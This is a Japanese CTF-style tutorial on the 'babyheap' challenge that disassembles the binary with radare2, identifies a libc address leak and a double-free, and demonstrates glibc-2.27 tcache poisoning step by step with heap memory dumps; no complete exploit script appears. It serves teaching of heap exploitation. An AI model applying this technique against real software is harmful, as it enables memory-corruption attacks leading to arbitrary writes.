バイナリアン入門 第五回(x64, Linux)

はじめに

babyheapと言うバイナリのウォークスルーに近いが、one_gadgetを利用した攻撃手法としては、glibc-2.27のダブルフリーのチェック不足を利用したTCache Poisoningによる攻撃が応用編として良さそうなので、これを扱ってみる。

セキュリティ機構を確認してみる

まずはお馴染み、バイナリのセキュリティ機構を確認する。

# checksec babyheap 
[*] '/sandbox/pwn/2_babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

全て有効になっている。個々の意味については他サイトに譲る。

アセンブラを解読する

早速、babyheapのバイナリを解析してみる。毎回お馴染みのRadare2を利用する。

# r2 -d babyheap 
[0x00000870]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000870]> afl
0x00000870    1 42           entry0
0x000008a0    4 50   -> 40   sym.deregister_tm_clones
0x000008e0    4 66   -> 57   sym.register_tm_clones
0x00000930    5 58   -> 51   entry.fini0
0x00000970    1 10           entry.init0
0x00000a75    6 113          sym.getnline
0x00000a59    1 28           sym.menu
0x00000820    1 6            sym.imp.printf
0x00000ae6    3 74           sym.getint
0x00000850    1 6            sym.imp.atoi
0x000007f0    1 6            sym.imp.__stack_chk_fail
0x00000ba0    1 2            sym.__libc_csu_fini
0x00000ba4    1 9            sym._fini
0x0000097a    1 51           entry.init1
0x00000800    1 6            sym.imp.setbuf
0x00000b30    4 101          sym.__libc_csu_init
0x000009ad   12 172          main
0x000007a0    3 23           sym._init
0x000007d0    1 6            sym.imp.free
0x000007e0    1 6            sym.imp.puts
0x00000810    1 6            sym.imp.strchr
0x00000830    1 6            sym.imp.read
0x00000000    3 97   -> 123  loc.imp._ITM_deregisterTMCloneTable
0x00000840    1 6            sym.imp.malloc
[0x00000870]> s main
[0x000009ad]> pdf
            ; DATA XREF from entry0 @ 0x88d
/ 172: int main (int argc, char **argv, char **envp);
|           ; var uint32_t var_ch @ rbp-0xc
|           ; var void *ptr @ rbp-0x8
|           0x000009ad      55             push rbp
|           0x000009ae      4889e5         mov rbp, rsp
|           0x000009b1      4883ec10       sub rsp, 0x10
|           0x000009b5      488b05741620.  mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
|                                                                      ; [0x202030:8]=0
|           0x000009bc      4889c6         mov rsi, rax
|           0x000009bf      488d3df20100.  lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format
|           0x000009c6      b800000000     mov eax, 0
|           0x000009cb      e850feffff     call sym.imp.printf         ; int printf(const char *format)
|       ,=< 0x000009d0      eb72           jmp 0xa44
|       |   ; CODE XREF from main @ 0xa50
|      .--> 0x000009d2      8b45f4         mov eax, dword [var_ch]
|      :|   0x000009d5      83f802         cmp eax, 2
|     ,===< 0x000009d8      7453           je 0xa2d
|     |:|   0x000009da      83f803         cmp eax, 3
|    ,====< 0x000009dd      745c           je 0xa3b
|    ||:|   0x000009df      83f801         cmp eax, 1
|   ,=====< 0x000009e2      7402           je 0x9e6
|  ,======< 0x000009e4      eb5e           jmp 0xa44
|  ||||:|   ; CODE XREF from main @ 0x9e2
|  |`-----> 0x000009e6      48837df800     cmp qword [ptr], 0
|  |,=====< 0x000009eb      740e           je 0x9fb
|  ||||:|   0x000009ed      488d3d050200.  lea rdi, str.No_Space       ; 0xbf9 ; "No Space!!" ; const char *s
|  ||||:|   0x000009f4      e8e7fdffff     call sym.imp.puts           ; int puts(const char *s)
| ,=======< 0x000009f9      eb49           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9eb
| ||`-----> 0x000009fb      bf30000000     mov edi, 0x30               ; '0' ; size_t size
| || ||:|   0x00000a00      e83bfeffff     call sym.imp.malloc         ;  void *malloc(size_t size)
| || ||:|   0x00000a05      488945f8       mov qword [ptr], rax
| || ||:|   0x00000a09      488d3df40100.  lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format
| || ||:|   0x00000a10      b800000000     mov eax, 0
| || ||:|   0x00000a15      e806feffff     call sym.imp.printf         ; int printf(const char *format)
| || ||:|   0x00000a1a      488b45f8       mov rax, qword [ptr]
| || ||:|   0x00000a1e      be30000000     mov esi, 0x30               ; '0'
| || ||:|   0x00000a23      4889c7         mov rdi, rax
| || ||:|   0x00000a26      e84a000000     call sym.getnline
| ||,=====< 0x00000a2b      eb17           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9d8
| ||||`---> 0x00000a2d      488b45f8       mov rax, qword [ptr]
| |||| :|   0x00000a31      4889c7         mov rdi, rax                ; void *ptr
| |||| :|   0x00000a34      e897fdffff     call sym.imp.free           ; void free(void *ptr)
| ||||,===< 0x00000a39      eb09           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9dd
| |||`----> 0x00000a3b      48c745f80000.  mov qword [ptr], 0
| ||| |:|   0x00000a43      90             nop
| ||| |:|   ; CODE XREFS from main @ 0x9d0, 0x9e4, 0x9f9, 0xa2b, 0xa39
| ```-`-`-> 0x00000a44      e810000000     call sym.menu
|      :    0x00000a49      8945f4         mov dword [var_ch], eax
|      :    0x00000a4c      837df400       cmp dword [var_ch], 0
|      `==< 0x00000a50      7580           jne 0x9d2
|           0x00000a52      b800000000     mov eax, 0
|           0x00000a57      c9             leave
\           0x00000a58      c3             ret

コード自体は短いが分岐が多い。それぞれブロック毎に解析してみる。

Function prologue

お決まりの関数の最初で実行する命令。
関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。

push rbp
mov rbp, rsp

関数内で利用するスタックを16バイト確保する。

sub rsp, 0x10

Welcomeメッセージ表示

glibcstdin関数のアドレスをraxに格納する。

mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5

Welcomeメッセージとstdin関数のアドレスを出力する。
第一引数となるrdiには、フォーマットとなる文字列のアドレスを格納。
第二引数となるesiには、raxに格納されているstdin関数のアドレスを格納。
mov eax, 0命令に関しては、ベクトルレジスタ浮動小数点)を必要とする場合にその数を設定する必要があるが、今回は整数型なので0を設定している(詳細は以前の記事を参照)

mov rsi, rax
lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

この命令が実行されると以下のメッセージが標準出力に表示される。 stdin関数のアドレスもリークしており、後程glibcのベースアドレスを求める際に利用する(ASLRにより実行時にアドレスが決まるため)

Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f87e2532a00 <<<<<
hit breakpoint at: 562bd86a2a44

メニュー表示

次の命令ではjmp命令で0xa44に移動しsym.menuをcallしている。
sym.menuの中身は割愛しているが、標準出力にメニューの選択画面を表示している。

jmp 0xa44
...(省略)
call sym.menu

sys.menuを実行すると以下の内容が標準出力に表示される。

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 

メニュー画面で0-3の値を入力するとvar_ch(rbp-0xc)に格納され、値が0の場合は処理を終了し、それ以外の場合は0x9d2に移動する。

mov dword [var_ch], eax
cmp dword [var_ch], 0
jne 0x9d2
mov eax, 0
leave
ret

分岐

0x9d2に移動したあとは、入力された値に応じたアドレスに移動する。
2Deleteだったら0xa2dアドレスへ。
3Wipeだったら0xa3bアドレスへ。
1Allocだったら0x9e6アドレスへ。
それ以外ならsym.menuへ移動する。

mov eax, dword [var_ch]
cmp eax, 2
je 0xa2d
cmp eax, 3
je 0xa3b
cmp eax, 1
je 0x9e6
jmp 0xa44

1.Allocの処理

Alloc(1)が入力された場合、最初にptr(rbp-0x8)の値が0であるかを確認する。
0の場合は0x9fbに移動し、違う場合はputsで標準出力にメッセージを表示する。

cmp qword [ptr], 0
je 0x9fb
lea rdi, str.No_Space       ; 0xbf9 ; "No Space!!" ; const char *s
call sym.imp.puts           ; int puts(const char *s)
jmp 0xa44

0x9fbからの命令では、mallocをcallしてヒープ領域に確保しているプールからチャンクを確保する。 第一引数となるediに、確保するサイズ48バイトを指定してmallocをcallすると、raxには確保したチャンクのアドレスが返ってくるので、ptr(rbp-0x8)にアドレスを格納する。

mov edi, 0x30               ; '0' ; size_t size
call sym.imp.malloc         ;  void *malloc(size_t size)
mov qword [ptr], rax

その後、確保したチャンクに格納する文字列の入力を促すメッセージを表示する。

lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

最後にgetnlineをcallして文字列の入力をさせる。
第一引数となるrdiにはチャンクのアドレスを指定し、第二引数となるesiにはサイズ48を指定する。
getline man:https://linuxjm.osdn.jp/html/LDP_man-pages/man3/getline.3.html

終わったらメニューに移動する。

mov rax, qword [ptr]
mov esi, 0x30               ; '0'
mov rdi, rax
call sym.getnline
jmp 0xa44

2.Deleteの処理

Delete(2)が入力された場合、mallocで確保した領域をfreeで解放する。
第一引数となるrdiにチャンクのアドレスptr(rbp-0x8)を格納してfreeをcall
終わったらメニューに移動する。

ここで気にしときたいのは、コード的には同じチャンクアドレスに対して何回でもDeleteを実行することが可能。

mov rax, qword [ptr]
mov rdi, rax                ; void *ptr
call sym.imp.free           ; void free(void *ptr)
jmp 0xa44

3.Wipeの処理

Wipe(3)が入力された場合、mallocで確保したチャンクのアドレスを消去(0)する。
終わったらnop命令を実行後メニューに移動する。

mov qword [ptr], 0
nop

以上で、アセンブラの解読は完了。

malloc/freeの基礎知識

ヒープ問題攻略の前に、そもそもmallocfreeを実行した際にどのような挙動をするのかを理解する必要があるため、基礎の基礎を身に付けとく。 mallocは、sbrkシステムコールにより拡張されたヒープ領域のプールから、チャンクという単位で領域を確保する。
freeは、確保したチャンクを解放して再利用できるようにしているが、libc-2.26以降ではtcacheというキャッシュに繋げてメモリ確保時の高速化を図っている(libc-2.26より前はfastbinというキャッシュで管理)

正直ここら辺の理解はふんわりなので、以下のサイトなどで改めて理解を深める必要がありそう。

座学は上で深めるとして、実際のメモリを見ながら解放されるチャンクが内部でどのように管理されているかを確認してみる。

a = malloc(4);
b = malloc(4);

free(a);
free(b);

上記サンプルコードをアセンブラにしたものがこれ。

# r2 -d a.out 

Process with PID 114 started...
= attach 114 114
bin.baddr 0x56132ba4b000
Using 0x56132ba4b000
asm.bits 64
Warning: r_bin_file_hash: file exceeds bin.hashlimit
 -- Sharing your latest session to Facebook ...

[0x7effe9fef090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7effe9fef090]> s main

[0x56132ba4b68a]> pdf
            ; DATA XREF from entry0 @ 0x56132ba4b59d
/ 67: int main (int argc, char **argv, char **envp);
|           ; var int64_t var_10h @ rbp-0x10
|           ; var int64_t var_8h @ rbp-0x8
|           0x56132ba4b68a      55             push rbp
|           0x56132ba4b68b      4889e5         mov rbp, rsp
|           0x56132ba4b68e      4883ec10       sub rsp, 0x10
|           0x56132ba4b692      bf04000000     mov edi, 4
|           0x56132ba4b697      e8c4feffff     call sym.imp.malloc     ;  void *malloc(size_t size)
|           0x56132ba4b69c      488945f0       mov qword [var_10h], rax
|           0x56132ba4b6a0      bf04000000     mov edi, 4
|           0x56132ba4b6a5      e8b6feffff     call sym.imp.malloc     ;  void *malloc(size_t size)
|           0x56132ba4b6aa      488945f8       mov qword [var_8h], rax
|           0x56132ba4b6ae      488b45f0       mov rax, qword [var_10h]
|           0x56132ba4b6b2      4889c7         mov rdi, rax
|           0x56132ba4b6b5      e896feffff     call sym.imp.free       ; void free(void *ptr)
|           0x56132ba4b6ba      488b45f8       mov rax, qword [var_8h]
|           0x56132ba4b6be      4889c7         mov rdi, rax
|           0x56132ba4b6c1      e88afeffff     call sym.imp.free       ; void free(void *ptr)
|           0x56132ba4b6c6      b800000000     mov eax, 0
|           0x56132ba4b6cb      c9             leave
\           0x56132ba4b6cc      c3             ret

[0x56132ba4b68a]> db 0x56132ba4b69c
[0x56132ba4b68a]> db 0x56132ba4b6aa
[0x56132ba4b68a]> db 0x56132ba4b6ba
[0x56132ba4b68a]> db 0x56132ba4b6c6

ブレークポイント毎にメモリを確認してみる。

[0x56132ba4b68a]> dc
hit breakpoint at: 56132ba4b69c

0x56132ba4b697sym.imp.mallocを実行すると、アドレス0x56132ca7e25032(0x20)バイトのチャンクが確保された。 Top chunkの右に表示されている0x56132ca7e000, brk_end: 0x56132ca9f000は、sbrkシステムコールで拡張されたヒープ領域を表している。

[0x56132ba4b69c]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e270 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

chunkの管理部であるmalloc_chunk構造体(参考)を確認してみる。
size=32(0x20)で、flagsはPREV_INUSE1になっている。
flagsの意味は以下のようだが、Radare2で観察してきた結果、変化するところが見られ無かったこともあり理解不足。

  • [N]ON_MAIN_ARENA
  • IS_[M]APPED
  • [P]REV_INUSE
[0x56132ba4b69c]> dmhc @0x56132ca7e250
struct malloc_chunk @ 0x56132ca7e250 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e260  0x0000000000000000  0x0000000000000000   ................

二度目のmalloc後の挙動を確認する。

[0x56132ba4b69c]> dc
hit breakpoint at: 56132ba4b6aa

最初と同様に0x56132ca7e27032バイトのチャンクが確保された。
Top chunkはチャンクを確保する度にbrk_endに向けてズレており、Top chunkが持っているsize自体も減少している。

[0x56132ba4b6aa]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

[0x56132ba4b6aa]> dmhc @0x56132ca7e270
struct malloc_chunk @ 0x56132ca7e270 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e280  0x0000000000000000  0x0000000000000000   ................

最初に確保したチャンクをfreeで解放してみる。

[0x56132ba4b6aa]> dc
hit breakpoint at: 56132ba4b6ba

0x56132ca7e250のチャンク状態がfreeに変化した(補足:freeの時点でチャンク内の値は消える)

[0x56132ba4b6ba]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][free]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

そしてTcacheには解放されたチャンク0x56132ca7e250が連結された。

[0x56132ba4b6ba]> dmht
Tcache main arena @ 0x7effe9fe8c40
bin : 0, items : 1, fd :0x56132ca7e250

ちなみに、Tcacheの先頭アドレスが何処で管理されているのか調べて見ると、sbrkで拡張された領域の最初の方で管理されていた。
0x56132ca7e050アドレスの60e2 a72c 1356 (56132c7a2e60:リトルエンディアン)の部分。

[0x56132ba4b6ba]> x @0x56132ca7e000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x56132ca7e000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x56132ca7e010  0100 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e050  60e2 a72c 1356 0000 0000 0000 0000 0000  `..,.V..........
0x56132ca7e060  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

二つ目のチャンクも解放する。

[0x56132ba4b6ba]> dc
hit breakpoint at: 56132ba4b6c6

先程と同様に0x56132ca7e270の状態がfreeになった。

[0x56132ba4b6c6]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][free]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][free]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

Tcacheのフリーリストを見てみると0x56132ca7e270->0x56132ca7e250のように繋がっており、先頭には今回解放したチャンクが連結された。

[0x56132ba4b6c6]> dmht
Tcache main arena @ 0x7effe9fe8c40
bin : 0, items : 2, fd :0x56132ca7e270->0x56132ca7e250

チャンクの中身を確認すると、Tcacheの先頭に繋がったチャンクのfdには、次のフリーチャンクのアドレスが格納されていた。
最後のフリーチャンクのfdはヌル。

[0x56132ba4b6c6]> dmhc @0x56132ca7e270
struct malloc_chunk @ 0x56132ca7e270 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x56132ca7e260,
  bk = 0x0,
}
chunk data = 
0x56132ca7e280  0x000056132ca7e260  0x0000000000000000   `..,.V..........

[0x56132ba4b6c6]> dmhc @0x56132ca7e250
struct malloc_chunk @ 0x56132ca7e250 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e260  0x0000000000000000  0x0000000000000000   ................

同様にTcacheの先頭アドレスも更新される。

[0x56132ba4b6c6]> x @0x56132ca7e000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x56132ca7e000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x56132ca7e010  0200 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e050  80e2 a72c 1356 0000 0000 0000 0000 0000  ...,.V..........
0x56132ca7e060  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

というように、Radare2で実際にメモリを覗いてみるとより理解が深まる(気がする)

TCache Poisoning

とは?

TCache Poisoningを一言で表すのは難しいが、循環参照により無限にループするlinked listを故意に発生させ、任意のアドレスをTcacheのフリーリストに連結させるような攻撃方法のこと。

tcache_attack-zhが詳しい。

検証

ここまでで、malloc/freeの基礎は理解できたので、ダブルフリーによるTCache Poisoningでは、Tcacheがどのように汚染されていくのかをRadare2で覗きながら理解してみる。

最初はmallocでチャンクを確保する。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][allocated]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

確保したチャンクにはtestを詰めている。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x74736574,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000000074736574  0x0000000000000000   test............
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

確保したチャンクをfreeで解放すると、チャンクの状態はfreeに変わり中身が無くなる。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000000000000000  0x0000000000000000   ................
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

そしてTcacheには解放したチャンクが連結される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 1, fd :0x555def88c250

解放しているチャンクは一つなので、Tcacheの先頭アドレスは0x555def88c250となっている。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0100 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

次に、先程解放したチャンク0x555def88c250を再度freeする。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

すると、Tcacheには同じチャンクのアドレス0x555def88c250が二つ連結される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 2, fd :0x555def88c250->0x555def88c250

0x555def88c250malloc_chunkを確認すると、fdには次のチャンクを指す0x555def88c260(自分自身)が格納されている。
これは、二度目のfreeのタイミングで、Tcacheの先頭につなげるチャンクのfdには以前先頭だったチャンクのアドレス0x555def88c260を格納するため、自分自身のチャンクの次は自分自身・・・と循環参照が出来上がっている。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x555def88c260,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000555def88c260  0x0000000000000000   `...]U..........
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

循環参照になったが、Tcacheの先頭アドレスは特に変わらない。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0200 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

Tcacheが循環参照になっている状態でmallocするとTcacheから0x555def88c250のチャンクが一つ取り出される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 1, fd :0x555def88c250

取り出されたチャンクに文字列write(本来は任意のアドレス)を書き込むと、今尚Tcacheに繋がっている0x555def88c250fdにも同じ値が格納される。同じアドレスを共有してるので当然の結果ではあるが。
んで、これがどのような結果を産むかと言うと、この状態になることでTcache0x555def88c250 -> write(本来は任意のアドレス)と言うフリーリストに汚染される事になる。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x6574697277,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000006574697277  0x0000000000000000   write...........
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0100 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

補足:dmhで確認するチャンクリストは状態が狂ってそう。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

最後に、もう一度mallocするとTcacheに繋がっている0x555def88c250が取り出される(dmhtだとTcacheは空っぽに見える)

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40

取り出された時に、Tcacheの先頭には0x555def88c250fdで指している次のアドレスを格納するため、Tcacheの先頭アドレスはwrite(本来は任意のアドレス)が格納されることになる。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  7772 6974 6500 0000 0000 0000 0000 0000  write...........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

以上の手順でTcacheの汚染ができたため、次にmallocした時は 任意のアドレス が取得できることになる。

